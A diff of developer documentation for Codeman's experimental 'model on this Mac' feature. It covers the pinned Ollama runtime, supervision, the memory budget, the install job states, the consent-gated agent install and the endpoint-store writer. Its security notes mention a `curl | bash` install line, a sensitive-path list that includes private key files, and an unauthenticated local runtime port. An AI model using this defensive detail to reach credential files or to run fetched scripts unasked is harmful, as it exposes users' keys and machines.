+  - `memBytes`, `memGb` (the bytes as decimal GB text, `"51.5"` for a 48 GB Mac) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48; `0` when the size could not be read). `memClassGb` is what to show as the installed memory: it is the number on the box and in About This Mac. It is the one size here that is not decimal GB.
+  - `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read.
+  - `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed: memory, architecture, the chip name and the free disk space come from Node, and nothing only `sysctl` knows, such as `arm64`, `translated`, `model`, `macosVersion`, `macosMajor` or `wiredLimitMb`, is present) or `not-probed` (not macOS, nothing was run).
+- `recommendation`:
+  - `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may be slow, have no speed figure or have no room on the disk); `notes` then says so.
+  - `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). `memory` has three sentences: nothing fits at all (slot `memory`, the size the Mac is sold as), a model fits but only below the context length an agent CLI needs (slots `budget` and `need`, so a Mac that misses by a little reads as that), and the memory size could not be read (no slot).
+  - `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. Notes, in order: the pick is a small model although larger ones fit (verdict `ok` only); a model that fits the memory was left out because its download would not leave 10 GiB free on the disk (slots `model` and `missing`: the best-ranked such model and the GB to free up); nobody tested the pick on a Mac like this one.
+  - `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. The order: a pair tested on a Mac like this one first, then speed (`ok` before `unknown` before `slow`), then the model's rank, the agent CLI's rank and the larger context. The memory fit decides whether a row is listed and what it says (`fit`, `tag`), it does not sort, so a model is offered at the largest context it fits at. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing):
+    - `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens);
+    - `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`;
+    - `needBytes` and `needGb` (memory the model needs at that context, at its PEAK: the weights, what stays held per token of context, what the runner holds beside both, and what it takes for a moment while a long prompt is processed), `needSource` (`measured`: the figures were measured for this model on a Mac; `estimated`: they are another model's), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals);
+    - `installBytes` and `installGb`: the whole download a click on Install starts for this row, `downloadBytes` plus the runtime archive while the runtime is not unpacked. It is the number to send as `acknowledgedBytes`;
+    - `harnesses[]`: every agent CLI the model can be run with at this context, best first: `{ cli, cliLabel, installed, installCommand?, slowFirstTurn? }`. `installCommand` is the literal command the install would run for a CLI that is not installed (the release's own stock command), for the consent screen. The first entry is the one the flat `cli` fields name;
+    - `tag?`: `{ kind, label }`, the one tag of the row. `kind` is `tested`, `best`, `tight`, `slow` or `small`;
+    - `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`;
+    - `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed;
+    - `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run.
+  - `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `estimated` (computed from the installed memory: all there is before the runtime ran), `wired-limit` (taken from `iogpu.wired_limit_mb`) or `measured` (the device total the runtime itself printed when it started; the GET uses it from the first install on).
+- `catalogUpdated`: ISO date on which the catalogue's rows were last checked.
+- `install`: where the install stands and what can be done about it.
+  - `state`: `idle` (nothing installed, no job), `installing`, `paused` (Cancel or a server restart stopped the job; it never continues without a click), `failed` or `installed`.
+  - `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed.
+  - `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue.
+  - `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated.
+  - `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen.
+  - `running`: the runtime Codeman started is alive right now. A runtime the person stopped is `running: false` with no `error`.
+  - `loaded` (with `installed`): what the runtime reported when the job checked the loaded model: `context`, `memoryBytes`, `memoryGb`, `onGpu`.
+  - `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli`.
+  - `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`.
+  - `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked.
+  - `folder`: the absolute folder everything of this feature is kept in.
+  - `actions[]`: exactly what the server accepts right now, out of `install`, `cancel`, `resume`, `start`, `stop`, `remove` and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session).
+
+Error codes (`install.error.code`), each with one next step:
+
+| Next step    | Codes                                                                                                                                                                                                                                   |
+| ------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `retry`      | `runtime-download-failed`, `runtime-damaged`, `runtime-unpack-failed`, `runtime-start-failed`, `disk-full`, `pull-failed`, `context-not-applied`, `load-failed`, `probe-unfinished`, `harness-failed`, `endpoint-id-taken`, `connect-failed`, `internal` |
+| `start`      | `runtime-stopped` (the runtime crashed three times in a row and is no longer restarted)                                                                                                                                                 |
+| `other-port` | `port-in-use`                                                                                                                                                                                                                           |
+| `next-model` | `model-not-found`, `does-not-fit`, `no-tool-call`                                                                                                                                                                                       |
+| `remove`     | `model-changed` (the model's digest is no longer the one stored at install time; a session on it is refused)                                                                                                                            |
+
+Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, when the model's digest changed, or for a model other than the installed one.
+
+Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`.
+
 ## Voice dictation
 
 Browser dictation transcribed through this server's Claude Code login, i.e. the

docs/architecture-invariants.md

@@ -694,6 +694,38 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse
 
 ⚠️ **The loading banner shows the REAL backend log line, not a guess, and has no countdown or auto-timeout at all.** `getLatestLlamaSwapLogLine()` holds one `GET /api/events` SSE connection open per endpoint (confirmed live to stay open indefinitely — read past 220KB over 8s with no `done`; idle-closed after 30s via `pruneIdleLlamaSwapLogTails`, same 20s sweep as the swap-displacement check above), parsing `logData` frames and keeping only `source: "upstream"` (the real `llama-server` process's own stdout) lines, never `source: "proxy"` (llama-swap's own request-access log). ⚠️ `GET /logs` — the endpoint this feature's own first cut targeted, since the name suggested it — was confirmed live to carry ONLY the proxy log and never a single backend line, even seconds after a real, verified model swap; caught and corrected by a live check before merge, not after. The banner itself dropped its size-scaled expected-time estimate and matching auto-timeout (a guess dressed up as a fact that could kill a genuinely slow load partway through on slower hardware) for a generic hardware/model-size disclaimer plus a user-driven **Cancel** button (`_showCenterStatus`'s `onCancel` option, a real button distinct from the plain "×" close glyph an `'error'`-type banner gets) that ends the wait and closes the session on the user's own call rather than a guessed deadline.
 
+### Local model install
+
+**A model that runs on this Mac** (`src/local-model/`, `src/config/local-model-catalog.ts`, routes `src/web/routes/local-model-routes.ts`; EXPERIMENTAL; guide `docs/local-models.md`): the server looks at the Mac it runs on, says which local coding model fits it, and installs one: a pinned runtime it supervises, the model, the checks, the coding agent, and one saved model endpoint. The read side (`hardware.ts`, the catalogue, the pure `recommend()`) is described in the root `CLAUDE.md`; this section is the install.
+
+**The layout** is one pure function (`localModelPaths()`, `paths.ts`): `<data dir>/local-model/` holds `runtime/ollama-<version>/` (plus its `.tgz.partial` and `.unpack` while it is fetched), `models/` and `home/`; `<data dir>/local-model.json` is the state file. ⚠️ Every path comes from `dataPath()` through that function and NONE is ever read back from the state file (which holds no path), so a state file cannot point a delete anywhere. ⚠️ Nothing is written or deleted outside `local-model/` except the state file and the two writes of the connect step. The runtime's `HOME` is the private `home/` (measured to work), so its key pair lands there and the user's own `~/.ollama` is never created, read or removed; `home/` and a `.ollama/id_ed25519` anywhere are on the sensitive-path list.
+
+**The pin** (`OLLAMA_RUNTIME_PIN`, `runtime.ts`) is a COMPILED constant: version, URL, size, sha256. ⚠️ No file, setting, env var or request may supply any part of it: a hash that comes from the same writable place as the URL pins nothing. The archive is streamed to `*.partial` while it is hashed, continued with a Range request (3 bounded retries), refused when it grows past the pinned size, and the hash is compared BEFORE `/usr/bin/tar` unpacks anything into a temporary folder that is then renamed.
+
+**Supervision** (`createRuntimeSupervisor()`): the runtime is a NON-detached child, started at boot once a model is installed and enabled, restarted at most 3 times in a row, SIGTERMed at shutdown beside `stopDeepSeekWeb()`. ⚠️ Its environment comes from the pure `runtimeEnv()` ALLOWLIST (PATH, the private HOME, TMPDIR, LANG, the proxy variables, and exactly `OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`, `OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`, `OLLAMA_MAX_LOADED_MODELS=1`): never `process.env` whole (it carries `CODEMAN_PASSWORD`, and a user's own `OLLAMA_ORIGINS=*` would open the port to every web page). ⚠️ The port is chosen ONCE by binding (11435 across 20; 11434 belongs to a runtime the user may run) and stored; it is never searched again on a later start, because it is part of the saved endpoint's URL. ⚠️ Pid and port are in the state file: a listener on the port that answers `/api/version` and whose pid runs a binary under OUR runtime folder is our own orphan (a server that was killed leaves one: a child is not ended by its parent's death) and is adopted or replaced; ANY other listener is `port-in-use`, never something to talk to. ⚠️ The supervisor never writes the state file: it reports through `onChange`, and the job stores what it reports. ⚠️ Under vitest nothing spawns and nothing is fetched unless a test injects it.
+
+**The budget is measured.** The runtime prints the device total in its log line "inference compute" (`total="37.4 GiB"`); `parseInferenceComputeTotal()` reads it, the job stores it and judges the chosen model against it (`modelFitsBudget()`) BEFORE the model is downloaded; from then on the GET recommends with `budgetSource: 'measured'`. One consent covers the whole install: the sizes that were confirmed do not change, so a model that no longer fits is a failure with the next model, not a second question.
+
+**The job** (`install-job.ts`) is a pure reducer (`reduceInstallJob()`) over three tables in that file (`INSTALL_STATE_TABLE`, `INSTALL_STEP_TABLE`, `INSTALL_TRANSITIONS`), driven by one service per process (`getLocalModelService()`). States: `idle`, `installing`, `paused`, `failed`, `installed`; steps in order: `runtime`, `model`, `verify`, `agent`, `connect` (`agent` is left out when the coding agent is installed). ⚠️ An event the transition table does not list is REFUSED by returning the same object, which the service answers with 409 `wrong-state`; add a transition to the table, never a special case to the service. ⚠️ ONE job at a time: verbs run on one queue, so two installs sent together cannot both find the state free. ⚠️ A job the state file still calls `installing` when the process has none was interrupted by a restart: it becomes `paused` the first time anything looks (`boot()`, a GET or a verb), and NOTHING continues without a click. `shutdown()` therefore writes nothing: it aborts the step and leaves `installing` in the file. ⚠️ An interrupted step is never recorded as failed, whatever its last call answered (an aborted fetch looks like a network error): the job checks its own signal before it writes `failed`. ⚠️ Every step is idempotent, because Resume and "Try again" re-enter the step the job stopped in. ⚠️ Cancel in the `connect` step is honoured only before the first write: once the two writes began they finish, so the pair is never left half done. ⚠️ The state file (`state-store.ts`) has ONE writer, serialized, temp file + rename, mode 0600, and reading is TOTAL (a file that does not parse, another schema, or a state that lacks a member it needs reads as idle): it holds nothing of the user, so it is replaced rather than refused, unlike `settings.json`. ⚠️ Progress is kept in memory and written at most every few seconds and when the job pauses or fails; the window reads the live figure. A 23 GB pull emits about 1.4 million lines, so neither the stream nor one state write per line is affordable.
+
+**Install is checked before anything is downloaded** (`LocalModelService.install()`): the model, the context and the coding agent must be a row the CURRENT recommendation offers (a model id is looked up, never passed on: without a slash it cannot name another registry host, and the request schema repeats that); the coding agent must be a harness row of the catalogue; `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`: the model plus the runtime archive while the runtime is not unpacked), else 409 `size-changed` with that total, so a consent is bound to the size that was shown; and a saved endpoint that already has the reserved id and is not ours is said now, not after a 23 GB download.
+
+**The check after the pull** (`verifyModel()`): one tiny chat with `reasoning_effort: "none"`, then `/api/ps` must show `size_vram == size` at the chosen context, then one tool probe (`tools`, `reasoning_effort: "none"`, `max_tokens` 1024) that passes on a tool call with parseable arguments. ⚠️ Thinking is switched off and the cap is generous on purpose: every catalogue model thinks first, and a probe that ends on its token limit proves nothing (`probe-unfinished`, never `no-tool-call`). ⚠️ A failure is a state with a code and ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed". ⚠️ The job fails when the runtime reports no digest for the model: there would be nothing to compare later.
+
+**The coding agent** is installed by `runInstallCommand()` of `src/cli-install-runner.ts`, the runner extracted from `cli-registry-routes.ts` (whose route keeps its behaviour and re-exports `installEnv`/`npmGlobalPrefixWritable` for its tests). ⚠️ The job runs only `stockInstallCommand(id)`, read from the COMPILED `STOCK_CLIS`, never the registry merged with `clis.json` (the route's own command still comes from the merged registry, behind its `cliManagementEnabled` gate): this path has no such gate, so an override file must not be able to change what it runs. `HarnessFact.installCommand` is that same string, which is what the consent screen prints. ⚠️ Only for a harness row of the catalogue, only after the consent click, admin only, audited (`cli_install` with `via: 'local-model'`). ⚠️ ONE install slot per CLI id (`tryBeginCliInstall()`), shared by the route and the job. ⚠️ After the installer, successful or not, the resolver caches are forgotten (`forgetResolvedCli()`) and the binary is looked for again: a pre-install miss is negative-cached for up to five minutes, and "Start a session" would otherwise answer "not installed". Still missing is `harness-failed`; found is success whatever the exit code. The runner takes an abort signal that kills the installer's process GROUP.
+
+**The connection** (`connect.ts`): one record `{ id: 'local-ollama', label: 'This Mac', baseUrl, authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId, defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema` and written through `mutateCustomModelHosts()`, then `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, with the flag's previous value kept in the state file (a second connect must hand the FIRST value back, or Remove could never switch the flag off again). ⚠️ `defaultContextLength` is load-bearing: the runtime's model listing states no context, so this field is what reaches the coding agent as its limit. ⚠️ The id is reserved: `POST /api/model-endpoints` refuses it, and a record with it that this feature did not write is never overwritten (`endpoint-id-taken`). ⚠️ While the state file records the connection, the record is MANAGED (`isManagedLocalEndpoint()`): `PUT`/`DELETE /api/model-endpoints/local-ollama` are refused, discover answers the stored list without a request, and the sweep skips it, so a model somebody pulled through the port never becomes launchable and the URL never leaves the supervised port. A hand-made record with that id (no state) stays an ordinary endpoint. `local-model.json` is not a config-backup file while the endpoint store and the settings are, so a restore can take the record away under an installed model: `boot()` puts the RECORD back when it is gone (`ensureLocalEndpoint()`, never replacing one that is there) and leaves the settings flag as it finds it. ⚠️ The runtime's port has NO authentication, and its CORS allowlist always admits `localhost` origins: any local process or localhost page can pull, create or delete models there. That is the reason for the three rules above and for the digest.
+
+**The digest** `/api/tags` reported after the check is stored. ⚠️ Before a session starts on the managed endpoint (`LocalModelService.launchRefusalMessage()`, asked by BOTH launch paths in `session-routes.ts`: `POST /api/sessions/:id/custom-model` and the quick-start `customModel` branch, before anything is written or created) and at boot it is read again: a different digest, a model that is gone, a runtime Codeman did not start, or a model id other than the installed one refuses the launch with one sentence. The view shows what blocks a session as `error` while the state stays `installed`; it is found live and never stored. Boot recovery of an already running session (`_rebuildCustomModelEnv`) is not guarded: the pane exists and keeps its environment.
+
+**Remove** stops the child, undoes the connection FIRST (a refused write of the endpoint store or of the settings rejects before any file is deleted), restores the flag only when this feature switched it on AND no other endpoint is saved, then deletes the runtime and the private home and, when asked, the models (`removeLocalModelFiles()`, which refuses any path outside the root). ⚠️ While a live session uses the endpoint the answer is 409 `sessions-open` with the session names (`sessionNamesUsingEndpoint()`, read at the moment of the request). ⚠️ The coding agent stays: what its installer wrote is not ours to remove.
+
+**Developer tools**: `checkDeveloperTools()` runs ONLY `/usr/bin/xcode-select -p`, bounded, on darwin. ⚠️ Never `git`, `python3` or `xcrun` from the server: on a Mac without the tools each opens a system window. The view carries `developerTools`, and the window prints the one sentence when it is `missing`.
+
+**The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it.
+
+Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event), `test/local-model-install-service.test.ts`, `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`.
+
 ### Approvals Inbox
 
 **Approvals Inbox** (cross-session queue of prompts waiting on a human; `approvalsInboxEnabled`, SYNCED, default OFF: every surface is opt-in; only the store and answer endpoints run regardless, so flipping it ON shows anything already pending): `web/approval-inbox.ts` is a `sessionWaits`-style singleton fed by `/api/hook-event`, holding at most ONE item per session (a new prompt supersedes), in-memory; answerable items are claude-mode only, and the DeepSeek status bridge and codex's screen-read dialogs (`web/screen-blocked.ts`) open ALERT-ONLY items (`answerInTerminal`: the answer route refuses them BEFORE its hooks gate, push carries no `approvalId`, the card and overview strip say "answer in the terminal"). Cards are answered via `POST /api/approvals/:id/answer`, which sends a digit / Esc / idle-prompt text through `writeViaMux` (menu answers never carry `\r`).

docs/cli-registry.md

@@ -25,7 +25,7 @@ Every run mode Codeman can launch — Claude Code, Terminal/Shell, OpenCode, Cod
 App Settings → Agents & CLIs → **CLI management** (`cliManagementEnabled`, default OFF; admin-only in multi-user mode) lists every entry with an installed/not-installed badge and:
 
 - toggles any entry on or off. A `kind: 'shell'` entry cannot be disabled, and the row shows no switch for it. A disabled CLI disappears from the Run menu, the welcome screen and the phone overview, and new session requests for it are rejected.
-- installs a missing **stock** CLI by running its shipped install command, after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed.
+- installs a missing **stock** CLI by running its shipped install command (the entry as merged with `clis.json`, so an override of a stock entry's install command is what runs here), after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed.
 - adds, edits and deletes **custom** entries (id, label, badge, binaries, launch argv). The server re-validates the whole assembled entry through `CliEntrySchema`, so the form cannot bypass the load-time rules.
 
 These are the only writes to `clis.json`. They are serialized, and a file that does not parse or has unsafe permissions is refused rather than overwritten; fix it (or `chmod 600` it) and retry. The HTTP routes are listed in `docs/api-reference.md` under *CLI management*.
@@ -332,7 +332,7 @@ already have.
 
 Three rules, and the middle one is why the embed matters:
 
-1. **The server never executes an entry's `install.command`.** Unchanged, and still enforced by nothing executing it: the field is display text (`CliDiscovery.install.command`).
+1. **The server executes an entry's `install.command` in exactly two places, both behind a consent click that shows the literal text.** CLI management (above, `cliManagementEnabled`, the merged entry's command) and the local model install (`docs/local-models.md`: only the COMPILED stock command of a catalogue harness row, through `stockInstallCommand()`, so no `clis.json` override reaches it; no setting gates that path, the consent screen does). Both run through the one runner in `src/cli-install-runner.ts` (one install per CLI at a time, no `CODEMAN_*` in the environment, the whole process group killed on a timeout or a cancel) and both are written to the admin audit log in multi-user mode. Everywhere else the field is display text (`CliDiscovery.install.command`).
 2. **`install.sh` executes only commands embedded in itself.** Those arrive in the same file, over the same TLS fetch, in the same commit as the `curl \| bash` line that fetched the script — identical trust to the hardcoded vendor one-liners it replaces.
 3. **Nothing fetched at install time is ever executed.** There is no second code path that fetches anything after the script itself has been fetched.
 

docs/custom-model-endpoints.md

@@ -663,6 +663,45 @@ each result. `scripts/test-local-llm-harnesses.ts` is the standalone script
 used to check a harness against a real endpoint outside the web UI
 entirely; see its own `--help` for usage.
 
+## The endpoint store has one writer
+
+`~/.codeman/custom-model-hosts.json` is written only through `mutateCustomModelHosts()`
+(`src/custom-model-hosts-writer.ts`): the create, update, delete and discover routes, the
+five-minute re-discovery sweep and the local model install all go through it.
+
+- **One at a time.** Changes run on one queue, and the check a route makes ("this id is
+  free", "this endpoint still exists") runs in the same step as its write. Before, each
+  writer read the file, changed its copy and wrote it back on its own, all through one temp
+  file name: a route and the sweep, or two requests sent together, could lose each other's
+  change or fail outright.
+- **Atomic.** A temp file with a random name beside the target, then a rename. Mode 0600.
+- **A file that does not parse is refused, not replaced.** The writing routes answer
+  `409 CONFLICT` with the fix (repair or delete the file, or restore it from a config
+  backup) and leave it byte for byte. Before, such a file read as an empty list, and the next
+  save replaced every stored endpoint and its API key with one record. The message never
+  quotes the file, which holds keys.
+
+The one direct writer left is config-backup restore, which must work on a file that does
+not parse.
+
+## The endpoint of the model on this Mac
+
+Installing a local model from Codeman ([local-models.md](local-models.md)) saves one endpoint
+with the reserved id `local-ollama` and the label "This Mac". It shows up in the list and in
+the Run menu like any other endpoint. Three things are different:
+
+- A new endpoint cannot be given the id `local-ollama`.
+- While it is the endpoint the install manages, it cannot be edited or deleted here, and
+  "Discover" answers its stored model list without asking the runtime. Its model list must
+  stay the one model the install checked, and its address the port of the runtime Codeman
+  supervises. Change or remove it in the local model window.
+- A session is started on it only while Codeman's own runtime is running and the model is
+  still the one that was installed (its digest is compared). Otherwise the launch answers
+  with one sentence.
+
+An endpoint with that id that somebody made by hand, with no model installed by Codeman, is
+an ordinary endpoint: it can be edited and deleted as before.
+
 ## Security note
 
 Every env var this feature can set that redirects a session's traffic

docs/local-models.md

@@ -0,0 +1,267 @@
+# A model that runs on this Mac
+
+Codeman can set up a coding model that runs on the Mac the server runs on: no account, no
+API key, nothing leaves the machine. One button on the welcome screen opens a window that
+shows what fits this Mac, installs the choice and ends on a coding agent session that
+runs on it.
+
+**Experimental.** The routes and their payloads may change in any release
+([versioning-policy.md](versioning-policy.md), "Experimental local model routes"). Apple
+silicon macOS only: anywhere else the window says why nothing is offered.
+
+This page is the reference for how it works. The HTTP contract is in
+[api-reference.md](api-reference.md) ("Local model"). The rules that must not be broken are
+in [architecture-invariants.md](architecture-invariants.md#local-model-install).
+
+## What an install does, in order
+
+The person picks a model, presses "Install on this Mac" and confirms the sizes once. The
+server then runs one job of five steps. The window polls `GET /api/local-model` once a
+second; the job runs in the server, so the window can be closed.
+
+| Step      | What it does                                                                                                                                              |
+| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `runtime` | Downloads the pinned runtime, compares its hash, unpacks it, chooses a port once, starts it, reads the measured memory budget and judges the choice again |
+| `model`   | Downloads the model through the runtime                                                                                                                   |
+| `verify`  | Loads the model and checks it: one tiny chat, the memory and context the runtime reports, one tool call                                                   |
+| `agent`   | Installs the coding agent with its stock install command. Left out when the agent is installed                                                            |
+| `connect` | Saves one model endpoint and switches the custom model endpoints setting on                                                                               |
+
+Every step can be repeated: Resume and "Try again" enter the step the job stopped in.
+
+### The runtime
+
+- **One pinned build.** Ollama 0.40.15 for macOS, a compiled constant
+  (`OLLAMA_RUNTIME_PIN` in `src/local-model/runtime.ts`): the URL, the size (185,971,671
+  bytes) and the sha256. No file, setting, environment variable or request can change which
+  binary is downloaded.
+- **Download.** Streamed to `*.partial` while it is hashed. A cut stream is continued with a
+  Range request, at most three times. The hash is compared before anything is unpacked, and
+  a mismatch deletes the file. Unpacking is `/usr/bin/tar` into a temporary folder, then one
+  rename.
+- **No administrator rights.** Everything lives in the data directory.
+- **Supervised by Codeman.** The runtime is a non-detached child of the server: started at
+  boot once a model is installed and not stopped, restarted at most three times after a
+  crash, sent SIGTERM at shutdown. It is not a login item: it stops with Codeman, and a
+  leftover from a server that was killed is taken back at the next start (see below).
+- **Its environment is an allowlist.** `PATH`, `TMPDIR`, `LANG` and the proxy variables are
+  copied from the server. `HOME` is a private folder. Exactly these are set:
+  `OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`,
+  `OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`,
+  `OLLAMA_MAX_LOADED_MODELS=1`. No `CODEMAN_*` variable and none of the user's own
+  `OLLAMA_*` settings reach it.
+- **The port is chosen once**, by binding, from 11435 across 20 ports, and stored. 11434 is
+  left alone: it is the default of a runtime the user may run themselves, which is never
+  touched.
+- **An orphan is recognized.** The pid and the port are stored. At boot a listener on the
+  port that answers `/api/version` and whose pid runs a binary under Codeman's runtime folder
+  is Codeman's own leftover from a server that was killed: it is adopted or replaced. Any
+  other listener is "Port 11435 is in use by another program", with "Use another port" as
+  the way out.
+
+### The memory budget is measured
+
+Before the runtime exists the budget is an estimate from the installed memory. Right after
+it starts, the runtime prints the device total in its log line "inference compute"
+(`total="37.4 GiB"` on a 48 GB MacBook). Codeman reads that line, stores the figure and
+judges the chosen model against it before a byte of the model is downloaded. A model that no
+longer fits ends the job there with "does not fit" and the next model to try. From then on
+the window shows the measured budget and the word "estimated" is gone.
+
+The need of a model is its peak: the weights, what stays held per token of context, what the
+runner holds beside both, and what it takes for a moment while a long prompt is processed.
+
+### The model download
+
+`POST /api/pull` with `stream: true`. A 23 GB pull sends about 1.4 million progress lines,
+so the stream is parsed piece by piece and never kept. Cancel aborts the request, which
+stops the download. Resume pulls again and the runtime continues its partial files. An error
+line or a cut stream is retried up to five times. Once the pull reported its total, every
+size shown for the model is that total.
+
+### The check
+
+After the pull, in this order:
+
+1. One tiny chat with `reasoning_effort: "none"`. It loads the model.
+2. `GET /api/ps` must show the whole model on the GPU (`size_vram` equal to `size`) at the
+   chosen context length.
+3. One tool probe on `/v1/chat/completions` (a `tools` array, `reasoning_effort: "none"`,
+   `max_tokens` 1024). It passes on a tool call whose arguments parse.
+
+A failure is a state with a code and one next step, never a bare "failed": `does-not-fit`
+and `no-tool-call` offer the next model, `probe-unfinished` (the token limit ended the
+probe, so it proves nothing) and `load-failed` offer "Try again". The digest the runtime
+reports for the model is stored when the check passed.
+
+### The coding agent
+
+When the chosen coding agent is not installed, the job installs it with the CLI registry's
+own stock install command, through the same runner as App Settings > CLIs
+(`src/cli-install-runner.ts`). The rules:
+
+- Only a CLI that is a harness row of the local model catalogue.
+- Only the **compiled** stock command. A `~/.codeman/clis.json` override cannot change what
+  runs here.
+- Only after the person's consent click, on a screen that showed the literal command.
+- Admin only in multi-user mode, and written to the admin audit log (`cli_install`, with
+  `via: "local-model"`).
+- One installer per CLI at a time, shared with App Settings: while one runs, the other
+  answers that it is busy.
+- Afterwards the cached lookups of the CLI's binary are forgotten and the binary is looked
+  for again. Still missing is the failure `harness-failed`, with the installer's last lines.
+
+This step does not need the `cliManagementEnabled` setting. That setting gates the general
+CLI management surface; this path can only ever run one vetted command for one catalogue
+row.
+
+### The connection
+
+Two writes outside the local model folder, both undone by Remove:
+
+1. One record in `custom-model-hosts.json`:
+
+   ```json
+   {
+     "id": "local-ollama",
+     "label": "This Mac",
+     "baseUrl": "http://127.0.0.1:11435",
+     "authStyle": "bearer",
+     "models": ["qwen3.6:35b-a3b"],
+     "defaultModelId": "qwen3.6:35b-a3b",
+     "defaultContextLength": 131072
+   }
+   ```
+
+   `defaultContextLength` is the chosen context: the runtime's model listing states none, so
+   this field is what reaches the coding agent as its context limit.
+
+2. `customModelEndpointsEnabled: true` in `settings.json`. The value it had before is kept
